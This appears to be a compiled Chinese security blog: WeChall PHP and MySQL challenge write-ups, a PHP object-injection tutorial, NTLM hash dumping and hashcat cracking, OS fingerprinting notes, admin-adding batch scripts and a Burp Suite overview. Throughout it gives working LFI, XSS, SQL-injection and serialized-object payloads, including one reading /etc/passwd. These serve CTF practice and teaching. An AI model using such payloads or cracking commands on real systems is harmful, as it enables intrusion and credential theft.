有些时候我们在下载一些东西的时候,经常会产生一些0字节的文件,因为它是0字节,所以删除、剪切、粉碎等等,甚至是覆盖也都没有用,电脑只会报错说它不存在,但它确实是实实在在的就在那里显示着:
这里有个方法: 把下述代码复制到文本并改成批处理文件(.bat)
DEL /F /A /Q \\?\%1
RD /S /Q \\?\%1
然后把那个0字节文件拖到这个.bat 上即可
(吐槽一下:Wechall的题解好难找啊。。。) 有一些PHP的题目在MYSQL里面就已经做过了,所以这里题解就不再写了,想看的可以去看看我写的Mysql的Writeup。http://blog.csdn.net/qq_19876131/article/details/50594894
Wechall PHP系列题目链接:http://www.wechall.net/challs/PHP/by/chall_score/ASC/page-1
一道本地文件包含题目,不用看源代码,主要代码它已经贴出来了:
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;
一道有限制的本地文件包含,直接考虑%00截断,它有提示说是要访问一个../solution.php,所以开始直接尝试
?file=../solution.php%00
结果却是如下:
没有这个文件,那么在往上一级访问,如下:
?file=../../solution.php%00
成功!
这里简单贴一下自己总结的几种文件包含的绕过:具体的以后再写个博客吧,贴个比较详细链接:http://drops.wooyun.org/tips/3827(这篇文章刚开始挺详细的,越往后越简略。。。)
http://127.0.0.1/include.php?dir=shell.txt%00
http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt?
http://127.0.0.1/include.php?dir=http://127.0.0.1/shell.txt%23
通常Windows的截断长度为240,Linux的截断长度为4096。由于Windows和Linux的文件名都有一个最大路径长度(MAX_PATH)的限制,因此当提交文件名的长度超过了最大路劲长度限制是就会截断后面的内容,从而达到文件包含的效果。
这道题源码先贴一下:
<?php
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which) {
case 0:
case 1:
case 2:
require_once $which.'.php'; break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}}
?>
观察一下,发现case0,1都没有给出来,而且也没有别的多余的过滤,它要求的是访问solution.php
看看源码,好像直接参数值赋为solution就行了,所以尝试
?which=solution
果然直接就成功了。。。
好把这道题犯蠢了,刚开始完全没有看到题目的提示是Register Globals的提示,一开始就盯着源码中的这一块儿一直琢磨:
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
$uname = mysql_real_escape_string($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
$db = gdo_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}
虽然是mysql_real_escape_string()
函数,但是数据库没有说是GBK编码的,经过实测,宽字符注入确实不管用,然后我就开始琢磨半天,后来才看到源码上面有这样一句:
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }
很明显的就是一个变量覆盖的问题,因为这里表明了我们通过get方式传入的参数都会直接被注册成全局变量。 再看看源码最后的判断部分
if (isset($login))
{
echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
问题就简单了,直接覆盖$login[0]
就可以,
注意要是用户名和密码不匹配就行了(就是随便乱输),这样子这道题就算搞定了!
这道题也是够折腾,刚开始不知道他要我干啥,给了6个源码,以及一个登录的地方
随便试一下,输入一个serial,结果返回了一个这个东西:
开始看源码: code.php
,几个判断,重要的如下:
if (isset($_POST['login']))
{
$form->execute(Common::getPostString('username'));
}
# Logout all the users
elseif (isset($_POST['logout']))
{
$form_logout->execute();
}
### Display
..........中间我就省略了,节约空间
# Logged in user
if (false !== ($user = unserialize(Common::getCookie('serial_user', ''))))
{
# Show welcome screen
echo GWF_HTML::message('Serial Challenger', $chall->lang('msg_wb', array(htmlspecialchars($user->getUsername()), $user->getPassword(), $user->getUserlevel())));
# Show logout form
echo $form_logout->serial_formz()->templateY($chall->lang('ft_logout'));
}
看如果传参有login,那么就调用SERIAL_LoginForm
类的一个方法,这样子最后userlevel必然就是0,因为最后一个类默认的userlevel值0,那么我们就不能让它正常login,然后发现下面有一个if语句是从cookie中读取serial_user
,并且看到了关键的一个函数,unserialize()
方法。
PS:对于PHP object injection不太熟的可以看看我的另一篇博客专门介绍这个的。 http://blog.csdn.net/qq_19876131/article/details/50926210
然后来看看这个insecure.inc.php
源码,
function my_autoloader($classname)
{
chdir('challenge/are_you_serial');
require_once './'.str_replace('.', '', $classname).'.php'; chdir('../../');
}
spl_autoload_register('my_autoloader');
这题的重点就在于 spl_autoload_register
这个函数,解序列化后的如果有类, 而且当前程序中未定义该类, 则会自动把该类的名称传值到( sql_autoload_register(xxx) ) xxx
函数中,这里是要访问SERIAL_Solution.php
就算成功了。 即我们的类名一定要是SERIAL_Solution
,即反序列化之后传入my_autoloader
函数中的参数才会是SERIAL_Solution,这样才能访问SERIAL_Solution.php
,所以问题就简单了, 根据下述代码产生的payload,
<?php
final class SERIAL_Solution
{
public $username = '';
public $password = '';
public $userlevel = 0;
}
$a = new SERIAL_Solution();
$a->username='serial';
$a->password='testtest';
$a->userlevel=100;
echo serialize($a);
?>
输出为:
O:15:"SERIAL_Solution":3:{s:8:"username";s:6:"serial";s:8:"password";s:8:"testtest";s:9:"userlevel";i:100;}
根据最开始的分析,我们要修改cookie使得,serial_user
的值为上述值的URL编码并且把参数中的login
删掉,这样就算注入成功了。 抓包并修改的截图如下:
然后就成功了:
这道题好吧这道题花了我好久好久才搞出来,还是太菜了,要是有Writeup就不会这样了,所以我才打算写个WP,方便自己也方便别人吧。
好吧,这道题是问了别人的,涨姿势了,第一次知道php还有这鬼东西….heredoc
简单介绍下heredoc
吧,这里先贴个链接http://www.cnblogs.com/igoogleyou/p/heredoc.html
php 中的 heredoc技术是php用来引用字符串的一种方式。在phpwind中巧妙的运用了这个技术,实现了逻辑代码和界面设计的分离。 语法:
$str = <<<s heredoc! s;
echo $str; ?>
在上述例子中,`$str`的值就是heredoc,即我的标志符就是`s`。
那么这里就简单了,我只需要让eval为1337就行了,构造payload如下:
```bash
?eval=<<<s%0a1337%0as;%0a
这里注意最后的换行符,因为我们使用的这个heredoc
,加上eval,那么一定要在最后加上换行符,这里卡了我好久好久。。。卡的我连妈都不认识了。。。。。
这道题给出的代码很简单,·$_SERVER['HTTP_HOST']
是从http头的Host读的,所以很明显是要改http header
的,用burp suite
抓包吧,然后把HOST改成localhost
好吧,果然没有这么简单
看到了一个wrong vhost,这个就蛋疼了,第一次还是在很早之前的,当时完全不知道怎么搞,后来之前简单学习过配置litespeed的虚拟主机才有了些基本的印象。 这里它说wrong vhost,错误的虚拟主机,那么很有可能就是他这台虚拟主机的名称也叫localhost
,因为请求头的HOST
参数已经被改成了localhost
,然后当我们访问的时候就访问到这台机器上去了,而不是我们题目的机器,而这时候也不用想别的,直接把GET上的URL补全就行了,补全成
GET www.wechall.net/challenge/space/host_me/index.php HTTP/1.1
Host: localhost
.......//其他的请求头参数,不罗列了
这样子就成功了,还有,一定要下拉一下页面才能够看到成功的信息,当时没看到成功,又浪费了大把时间。。。报警了。。
这道题感觉怪怪的。。。 先贴源码:
<?
# Only allow these ID's
$whitelist = array(1, 2, 3);
# if show is not set die with error.if (false === ($show = isset($_GET['show']) ? $_GET['show'] : false)) {
die('MISSING PARAMETER; USE foo.bar?show=[1-3]');
}
# check if get var is sane (is it in whitelist ?)
elseif (in_array($show, $whitelist)){
$query = "SELECT 1 FROM `table` WHERE `id`=$show";
echo 'Query: '.htmlspecialchars($query, ENT_QUOTES).'<br/>';
die('SHOWING NUMBER '.htmlspecialchars($show, ENT_QUOTES));
}else # Not in whitelist !
{
die('HACKER NONONO');
}
?>
说是这里可能存在SQL注入,找一下修复方法,一脸懵逼好吧。修复方法我要杂提交啊? 先看看把,这里问题关键在于这个部分
elseif (in_array($show, $whitelist)){
......
}
这个in_array()
函数和我们的intval()
之类的一样,就拿这里来说吧。 我们举个例子,看看下面的代码:
<?php
$whitelist = array(1, 2, 3);
$show ='2 or 1=1#';
if (in_array($show, $whitelist)){
echo "success!";
}
else{
echo "hack failed!";
}
?>
输入结果是success!
,所以SQL注入漏洞就在这里,他要的是1到3的数,我们可以直接加上一个强制类型转换就行了啊,比如判断的时候加上一个intval()
函数,对输入进行强制类型转换成整形就避免了这个漏洞。 然后我该怎么提交答案。。。。 我交了一个intval()
结果网站返回了这个:
一脸懵逼好吧,还能更短些。。。。。 后来想到了试试(int)
,结果又得到了这个:
日了狗了,它说结果就两个字母,哎,懵逼了,想不动了。。。 要是哪位大神知道正确答案,求指教。。
拿到源码,贴一下主要的函数:
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
这道题直接16进制就行了,3735929054的16进制是0xdeadc0de
,直接提交就行了。
这是一道XSS题目,题目吹了一长串逼,然后让你找出漏洞在哪儿然后提交一个解决方案, 过滤如下:
echo "<a href='http://".htmlspecialchars(Common::getPost('input'))."'>Exploit Me</a>";
测试的总感觉他的环境好像有点问题,不稳定,本地简单搭一个。如下:
<?php
if(isset($_GET['in']))
{
$a=$_GET['in'];
echo "<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>";
echo htmlspecialchars("<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>");
}
?>
这个其实比较简单,因为单纯的htmlspecialchars()不加参数只会将双引号实体化,这里只需要单引号即可,例如下述代码就可以,
' onmouseover= 'alert(1)
所以问题就在于单引号没有被过滤,那么修改方案也简单, http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp 这一页有详细的介绍:
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
所以我们只需要在其中加入参数即可,所以最后答案就是:
echo "<a href='http://".htmlspecialchars(Common::getPost('input'),ENT_QUOTES)."'>Exploit Me</a>";
直接贴看主要代码把:
foreach ($_GET as $key => $value){
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}}
他给了几个样例网页说明了这个功能,主要就是几个参数,src
,hl
,mode
,然后就是上述代码,它是按顺序读取参数值的,
php0816SetSourceFile
主要是设置显示源码的文件名,有一个白名单过滤,它会读取src
,php0816execute
高亮显示的执行程序,这里它要求是hl
参数不为空,然后就是php0816addHighlights
,问题就在这里,我们看看这个函数漏洞部分的源码
function php0816Highlighter(){
......
......
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));#
......
......
}
这里又一次从GET参数里面获取src的值,而之前那个php0816SetSourceFile
也是这样获取然后进行过滤,根据最开始对GET参数的顺序的读取,那么我们只需要先让它进入到php0816Highlighter
这里就直接获取src
而不会被php0816SetSourceFile
所过滤了。so,简单说就是改一下参数顺序就可以,payload如下:
http://www.wechall.net/challenge/php0816/code.php?hl[0]=123&mode=hl&src=solution.php
然后我们就拿到了Answer如下图
答案就是AnotherCodeflowMistake
一道XSS的题目,先贴源码:
..........
if (isset($_POST['username'])){
echo GWF_Box::box(sprintf("Well done %s, you entered your username. But this is <b>not</b> what you need to do.", htmlspecialchars(Common::getPostString('username'))));
}
..........
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
..........
这里折腾了一会儿username
的输入,后来确实是认为那个是XSS不进去的,然后再看看代码,看到了一个比较关键的东西,$_SERVER['PHP_SELF']
,好的,XSS点就在这里了。 $_SERVER['PHP_SELF']
表示当前执行脚本的文件名,比如下述代码:
<?php
echo $_SERVER['PHP_SELF'];
?>
我把它放在127.0.0.1/index.php
下面,那么输入结果就是
/index.php
这个东西常常用于表单提交给本页面。 这里我们直接在URL后面附上XSS代码,网站用$_SERVER['PHP_SELF']
直接放进了form标签,那我们可以构造payload如下:
https://www.wechall.net/challenge/yourself_php/index.php/"><script>alert(1)</script>
先封闭之前的form标签在自己构建一个新的标签造成XSS。
同样是一道本地文件包含的题目,因为在URL上传时除了简单的正则匹配时并没有别的过滤,要读取本地的solution.php
文件,那么我们可以这样构造
file://solution.php
直接将上述语句输入到URL框即可。意思就是打印本地的solution.php文件。 别的就不多说了。
文:https://vagosec.org/2013/09/wordpress-php-object-injection/
最近做wechall的PHP遇到一个题,琢磨了好久才知道咋整,感觉wechall网站的题总是百度不到答案,真是有点蛋疼。好了进入正题。
那道题主要是考的序列化与反序列化。
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic
方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__
开头的,比如 __construct
, __destruct
,__toString
,__sleep
,__wakeup
等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()
方法会在一个对象被创建时自动调用,对应的__destruct
则会在一个对象被销毁时调用等等。
php允许保存一个对象方便以后重用,这个过程被称为序列化,即serialize()函数,对应的反序列化就是unserialize()。 简单的说,序列化就是把PHP对象按照一定规则存成一个字符串,而反序列化就是把序列化之后的字符串恢复成一个PHP对象。 这里我们简单测试一下吧:
<?php
class test
{
public $username = '';
public $password = '';
}
$a = new test();
$a->username = 'serial';
$a->password = 'serial';
echo serialize($a);
?>
输出为:
O:4:"test":2:{s:8:"username";s:6:"serial";s:8:"password";s:6:"serial";}
可以看到序列化之后数据被存了下来,但是没有任何与原来类有关的东西。接下来我们再测试一下unserialize()函数,
<?php
class test
{
public $username = '';
public $password = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
}
$a ='O:4:"test":2:{s:8:"username";s:6:"serial";s:8:"password";s:6:"serial";}';
$tmp=unserialize($a);
$tmp->out();
?>
结果为:
username: serial
password: serial
经过unserialize()之后,我们的对象又被重建了出来。
这里有两个比较特别的Magic
方法,__sleep
方法会在一个对象被序列化的时候调用。 __wakeup
方法会在一个对象被反序列化的时候调用。 那么,考虑这么一个场景,如果一个攻击者的数据是通过unserialize()
方法传递的,那么这样就很可能引发”php对象注入”,而很可能那些与该对象有关的Magic
方法会执行一些效果,打个比方,如果该对象是一个记录临时文件的对象,当对象创建的时候,即会调用 __construct
方法,此时会创建一个文件,而 __destruct
则会删除创建的文件。而此时恰好我们可以构造输入通过unserialize()
传递,那么我们就可以对我们的输入稍作加工就可以完成输入我们想要输入的,举个例子把:
<?php
class test
{
public $filename = 'temp.txt';
public function LogData($text)
{
file_put_contents($this->filename, $text, FILE_APPEND);
}
public function __destruct()
{
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
class user
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'Username:'.$this->name.'<br>'.'age:'.$this->age;
}
}
if(isset($_GET['user']))
$usr = unserialize($_GET['user']);
?>
定义了两个类,最后有一个 “unserialize” 值是我们可以注入的。它的本意是传递user的信息,但是如果我们输入一个字符串最后能够被反序列化为test类,那么问题就关键了,因为一个test类最后会删除它的同名文件夹,如果此时我们通过如下代码构造一串字符串:
<?php
$obj = new test();
$obj->filename = '.htaccess';
echo serialize($obj) . '<br />';
?>
这样我们将打印出来的结果传入到之前那个php中,那么最终删除的就是这个’.htaccess’文件了。因为脚本结束时 __destruct会被调用,从而触发删除。 这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。 虽然这不是一个很好的例子,不过相信还是可以理解这个概念的。 再举一个更加直观一点的例子: 看这个代码:
<?php
class Foo {
private $bar;
public $file;
public function __construct($fileName) {
$this->bar = 'foobar';
$this->file = $fileName;
}
// 很多其他的代码
public function __toString() {
return file_get_contents($this->file);
}
}
....... // 很多其他的代码
echo unserialize($_GET['in']);
....... // 很多其他的代码
?>
同样的,我们可以通过下面的代码来生成payload:
<?php
class Foo {
public $file;
}
$foo = new Foo();
$foo->file = '/etc/passwd';
echo serialize($foo);
?>
结果是O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";}
,接下来就简单了,只需要发送一个GET请求就可以让它输出/etc/passwd
的内容了,再假想一下,如果这里把file_get_contents
换成了eval
,结果更加是不堪设想。
所以PHP参考手册里也很直接的说了one should not pass user-generated content to the unserialize() function
(不要把用户生成的内容传递给unserialize()函数)
其实解决起来也是比较简单的,只要别在任何用户可控的地方使用”unserialize”就可以。另外实在要用的话可以考虑”json_decode”。
首先要以管理员身份运行cmd,
在运行pwdump之前我已经提前创建好了6个测试账户,分别如下:
ps:本来想多测试几组,但由于显卡(我用的是笔记本,Y400,GT750M的显卡)限制,破解速度不是很快所以,我只测试了7位纯数字,7位纯字母,7位随机数字字母,8位纯数字,8位纯字母,8位随机数字字母。
| 用户名 | 密码 | | :--------|:--------| | bendawang | 9382993 | | bendawang1 | kasduie | | bendawang2 | di23j8l | | bendawang3 | 63720548 | | bendawang4 | iwnduewm| | bendawang5 | ur7b3d9j |
然后我们直接在具有管理员权限的CMD下运行pwdump,如下图:
从而就得到了所有用户的密码hash值,而这个hash值是采用NTLM加密算法生成的,然后我们通过运用oclhashcat来进行暴力破解。
简单科普一下hashcat系列。Hashcat系列有3个版本,分别是hashcat、 oclhashcat-lite和oclhashcat-plus,其中hashcat是利用CPU来暴力破解密码的,支持的算法是最多的,但是CPU本身破解速度很慢,所以我一般不用这个,除非是只有hashcat支持这种加密算法。剩下 oclhashcat-lite和oclhashcat-plus都是利用GPU来破解密码的,破解速度比利用CPU的hashcat快很多倍。 Oclhashcat-lite和oclhashcat-plus的区别从名字就可以看出来,一个是精简版,支持的算法少很多。而现在网上资源比较普遍的cudahashcat就属于oclhashcat-plus。 本次测试我们采用的是cudaHashcat-2.01版本。 介绍几个主要的参数:
-m
这个是指定破解的hash的类型,具体的类型可以在–help参数中看到。默认是0也就是MD5,而NTLM则是1000。-a
指定破解的模式,默认是字典模式-o
输出文件,破解成功的密码存放的文件--remove
移除破解成功的hash,当hash是从文本中读取时有用,避免自己手工移除已经破解的hash--username
忽略用户名,如果你的hash文件中是username:hash这种格式只需要指定这个参数,就不需要再手工编辑了-r
指定规则文件,字典根据规则文件做变形,用于破解相似密码当-a指定为3时,就是暴力破解模式,这个模式下需要自己指定mask和长度。 Hashcat-plus中以?l
表示小写字母,?d
表示数字,?u
表示大写字母,?s
表示所有可打印符号,?a
代表所有可打印字符,它等于?l?u?d?s
加在一起。所以比如当你准备尝试用纯9位数字来破解MD5,可以运行如下命令:
cudaHashcat64.exe -a 3 --force d98d28ca88f9966cb3aaefebbfc8196f ?d?d?d?d?d?d?d?d?d
PS:暴力破解破解一条hash时要加上–force选项
自定义字符 现在纯数字或者纯字母的密码是比较少见的,常见多的是字母和数字的组合,而我们并不知道哪一位会是字母或者数字,暴力破解时就会比较麻烦,这时候就需要用到自定义字符了。 Hashcat-plus支持4个自定义字符集,分别是 -1
-2
-3
-4
。 定义时只需要这样
-2 ?l?d
,然后就可以在后面指定?2
,?2
表示小写字母和数字。这时候要破解一个7位混合的小写字母加数字时就可以这样指定了:
cudaHashcat64.exe -a 3 --force -2 ?l?d eb5a0ada23e57c1a2abd79a469b2542d ?2?2?2?2?2?2?2
比如破解bendawang(密码为7位数字),命令为:
cudaHashcat64.exe -m 1000 -a 3 --force 44AF08FC648DAC923B846DE913EB01D1 ?d?d?d?d?d?d?d
发现7位纯数字只花了2s
然后是7位纯字母
cudaHashcat64.exe -m 1000 -a 3 --force F1C44F9A910145653BA80E3A5CA4F47F ?l?l?l?l?l?l?l
发现7位纯数字只花了3s
在破解数字加字母混合密码时,有些不同,我们使用了自定义字符集:
cudaHashcat64.exe -m 1000 -a 3 --force -2 ?d?l C998E356289ABA0C81F96BECA6565A4D ?2?2?2?2?2?2?2
发现7位数字字母混合大概花了43s左右。
至于八位密码的破解就不一一罗列了,具体结果截图如下
| 密码模式|用时 |
| :-------- :| :--------:|
| 7位数字| 2s|
| 7位字母 | 3s |
| 7位数字字母混合 | 41s |
| 8位数字 | 1s |
| 8位字母 | 96s |
| 8位数字字母混合 | 35min |
(PS:第三个由于当时在更新显卡驱动,不知道会不会有影响)
( ps:主要参照fyoder的《使用TCP/IP协议栈指纹进行远程操作系统辨识》一文)
协议栈指纹就是各个厂家,如微软和RedHat等在编写自己的TCP/IP协议栈时,却做出了不同的解释。这些解释因具有独一无二的特性,故被称为”指纹”。(来自百度知道)
协议栈指纹识别是一项强大的技术,能够以很高的概率迅速确定操作系统的版本。因为由于各个厂家在编写自己的TCP/IP协议栈存在差别,而我们通过这些细微的差别,可以准确定位操作系统的版本。
我简单做了测试,以win7系统开启telnet服务器,然后用kali 1.0和win10去连接,服务器ip为192.168.80.130。
然后下面是kali和win10分别返回的截图
由此既可以判断出系统是windows系统,但是具体是什么版本的windows系统目前看来是无法判断的。
同样,原理合上述差不多,此处就不做赘述。
5、TCP 选项 即TCP报文的选项域: 每个选项的开始是1字节的kind字段,说明选项的类型。
Kind=0:选项表结束(1字节)
Kind=1:无操作(1字节)
Kind=2:最大报文段长度(4字节)
Kind=3:窗口扩大因子(4字节)
Kind=8:时间戳(10字节)
TCP报文的选项通常是可选的 ,所以并非所有实现都支持;如果某个实现发送了设置选项的请求,目标将通过在回复中进行设置来表示响应;只需在一个数据包中进行设置,一次就能测试 所有选项。而不同的操作系统支持的选项集不同,故可以通过选项的取值来分辨出它们
首先,我们通过编写批处理脚本.bat
来添加一个用户,代码如下:
::1.bat
echo off
net user bendawang 123 /add
net localgroup administrators bendawang /add
即创建一个用户名为bendawang,密码为123的账户,并赋予管理员权限。 运行结果如下:
通过上图看出来,1.bat运行后多出了一个名为bendawang的账户,说明添加成功
然后我们再编写一个.bat
文件来删除该用户,代码如下:
::2.bat
@echo off
net user bendawang /del
运行结果如下:
通过上图看出来,2.bat运行后之前添加的名为bendawang的账户已被删除,说明删除成功
首先我们打开本地组策略编辑器:win+R(调出运行)—-输入gpedit.msc,打开如下框体:(PS:此处我以winXP系统做演示)
然后依次点击计算机配置—-Windows设置—-脚本(启动/关机)—-关机, 即得到如下框体:
然后添加,将我们刚才的2.bat添加进去
这样我们的2.bat就会在关机的时候自动运行了。
接下来我们进行检验: 先运行1.bat,如下
然后关机,再开机,输入net user
发现用户bendawang已经被删除了 实验成功!
之前虽然一直在用burpsuite,但是从来没有系统的学习它的使用,而且我一般只使用3、4个功能,像是proxy、repeater、spider、intruder,最近把它系统的研究了一下各个功能,写个文章留存一下。 要是有什么错误的地方希望大家批评指正。 哦还要说一下,这篇文章不是教程,教程网上很多,这个就是把大部分主要的功能进行了介绍,对这款软件有一个系统的了解。越往后写的越少,确实因为时间关系,以后会加以补充,例如使用非常频繁的repeater功能,几句话就带过了。毕竟是软件,有个初步的了解,实践中就渐渐的就会熟悉了。 这里我使用的是BurpSuite V1.6.27 附上百度网盘链接:http://pan.baidu.com/s/1pKuCuU3 提取密码:7a1v
这个主要是由spider功能模块爬出对应网站的一个站点地图,这里我通过spider功能扒取本地的一个74cms做测试。具体的怎么爬出站点地图在稍后的spider进行介绍。 如图所示的, 区块1就是扫描整个网站的站点地图 区块2就是递交的请求情况 区块3就是请求头和响应头的详细信息,包括源码,参数,头,16进制码。 区块4就是该网站存在的问题,这个spider功能能够扫描出网站一些比较明显的问题,当然肯定不全面,参考意义不是很大,漏洞扫描器推荐awvs,这个最开始还是比较好用的,不过到后来就会发现其实很多漏洞根本扫不出来。 区块5就是对应问题的详细信息以及解决方法。
然后可以看出区块上面还有一个filter的功能,这也是一个比较强大的功能,稍后做介绍。
然后是target下的scope栏目, 分别就是在范围的显示和在范围内的不显示,而且可以看出是支持正则表达式的,这里增删改就不做详述了,应该能自己看懂的。
这个代理抓包功能应该是使用最频繁的功能之一了,原理就是通过把127.0.0.1设置为代理服务器,由本机发起的请求都会通过127.0.0.1,然后我们就可以把请求和响应包都截取下来。 首先要在浏览器的设置里添加一个代理,以火狐浏览器为例,点击选项,如下图 这里我设置的ip和端口分别是127.0.0.1和8080端口,然后在proxy下的Options一栏如下操作
注意这里端口号一定要与浏览器设定的代理服务器端口号一致,如果8080被其他应用占用,可以将二者均换掉也无所谓。 这样,所有浏览器发出的请求和接受的响应都会被burpsuite拦截(PS:最后记得将浏览器的代理服务器勾选为不使用代理,否则一旦buresuite关了就可能上不了网了) 现在来介绍功能:
截取到包如下图:
Forward:通俗来说就是将包发送出去 Drop:丢弃掉包 action的功能如下,也可以右键点击空白处
1-7分别对应到发送到最上方的七个模块 其他的英文应该都能读懂,自己试试就知道了,都比较清晰的
这个就是截取包的历史记录 然后我们来看看这个filter功能
1、三项对应的是
只展示有请求参数的记录 2、这里手动输入筛选条件可以支持正则、大小写敏感等 3、根据MIME类型进行筛选 4、展示和隐藏那些类型的请求记录 5、根据响应的HTTP状态码来筛选 6、显示评论过的和高亮的记录。注意,这里通过对记录点击右键是可以附加自己的评论或者是某一条记录以一种颜色高亮的。 7、端口筛选
这里我主要截图介绍了一些常用的设置,其他不常用的就自己看吧。 这里就主要是Proxy功能的设置。
上图主要是设置监听的接口信息,以及证书的导入
上图主要是抓包的显示设置,截取的包符合什么规则就显示出来或是符合什么规则就不显示。
上图主要是一些替换功能, 就是将数据包中的数据批量替换,比如说我勾选了第一个,意思就是将截取的请求中的user-agent全部替换为User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)。 就是一个批量替换的功能。
要使用该功能就要先通过Proxy功能抓包,然后右键send to spider就行了,然后spider就开会运行,下图是运行结束后的情形 我圈起来的部分就是spider的主体部分,第一个就是总共发送的请求,第二个就是总共传输的字节,第三个是请求传输队列,上面有一个按键可以清空该队列,第四个是表单队列。 同样,再往下是扒取设置,爬虫递交的请求需要符合什么规则才进行抓取,或是符合什么规则就不抓取,自己add几条规则然后对比一下就知道什么情况了。
这里截取几个个人较为常用的,其他一般不做修改,需要使用的时候自己看就行了。 爬虫设置。 检查robots.txt,探测响应为not found等等。 下面的两个数字分别是最深的探测深度以及最多传递多少个参数。
表单的提交设置。这个非常重要,就是爬虫遇到表单的时候怎么提交,显示是三个单选框,第一个就是不提交,第二个就弹出框体来由我们自己来填写并提交,第三个就是按照表中我们预先设定的值进行提交。 为什么说这个非常重要,因为表单和漏洞息息相关。。。
爬虫的引擎设置。 1、同时运行的线程数 2、如果失败了重试次数 3、重试延迟 一般来说都选用默认值,另外错误的话会最后的alert处显示出来,随时要关注。
这个模块我用的不多,这里我也省略掉了,大家想学也是先由Proxy抓包然后点击右键do a active scan就可以了,然后其他的就自己探索吧。
定义通过添加字典(XSS,SQLI等等)来实现一个自动化的攻击或是密码爆破
一般来说我们使用intruder功能都是由Proxy然后send过来的,所以该栏目会默认填写的,当然也可以自己填,主要就是ip和端口号。
就是对HTTP请求进行操作了,定义通过添加字典(XSS,SQLI等等)来实现自动化。这里就是定义我们所选用的字典替换请求中的哪一部分需要被替换。然后至于那个attack type有四种
1、sniper,就是将字典一次赋给我们的多个参数,比如我们有三个参数,分别是a,b,c,字典里面有五个值(1,2,3,4,5),那么该模式下我们会先把a用字典替换,b、c保持原值,然后b用字典替换,a、c保持原值,以此类推。 2、battering ram,就是同时将a,b,c都用字典替换,例如a,b,c都用1替换,都用2替换。 3、pitchfork,那就是需要我们导入三个字典,依次对应进行替换。 4、cluster bomb,这个说起来比较麻烦,也是导入三个字典,就是比如a,b,c三个,原本应该有字典1替换a,字典2替换b,字典3替换c,然后它还会继续排列组合,比如字典1替换b,字典2替换c,字典3替换a,知道尝试完所有可能。 这个可以自己试一试然后观看一下结果就知道各个模式的作用了。 同样这个对一部分文本右键也是有很多功能,这里不做详述。
这里就是字典的导入,可以手动添加,也可以文件导入。 第一个数字就是第几本字典,第二个就是选择模式,有很多种
simple list:就是最简单的,手动输入或是文件导入都可以,可以导入多个字典。一般较少的数据使用该模式。 runtime file:这个应该主要就是针对较大批量的数据的字典把。 number:就是设置from 和to从多少到多少,然后step是间隔,例如from为1,to为100,step为2,那么payload就是1,3,5…. brute forcer:暴力破解,尝试你定义字符的所有组合,可以设置最小和最大长度,纯暴力破解。
接下来是payload Processing一栏,主要是对payload进行统一的规则设置, 例如统一都加上前缀或者后缀等等。 然后payload encoding一栏就不说了。
最后就是一些设置,和之前的差不太多,什么线程啊,失败重传啊等等之类不做想说了。
当所有一切设置好之后 点击右上角start attack就可以开始了。
一般使用这个功能也是通过Proxy抓包然后send过来的。 主要就是修改请求的各项参数等等然后点击左上角的go发送出去,然后在右边接受到请求,请求和响应都可以以不同的形式展示出来。
编码解码功能,没有太多可说的,自己随便试试就知道了。
主要是一个比较功能。
题目链接:http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1
首先阅读源码,比较简单,就是只要有一个人的票数到达111了,那么就成功了,但是每当一个人的票数超过100时就会被重置。然后此处注入参数为vote_for,另外还有就是两个过滤,核心代码就在下面:
if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
return;
}
$db = noesc_db();
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
if (false !== $db->queryWrite($query)) {
echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
}
noesc_stop100();
观察发现过滤似乎并没有什么卵用,因为在更新语句中根本没用单引号,只用了`符号,那么直接构造如下的payload就好了:
?vote_for=bill`=111--+
这道题没啥可说的,最简单的SQLI,跳过
admin'#
这道题把密码和用户名分开来验证了,用户名查询处毫无过滤,核心检验代码如下:
$password = md5($password);
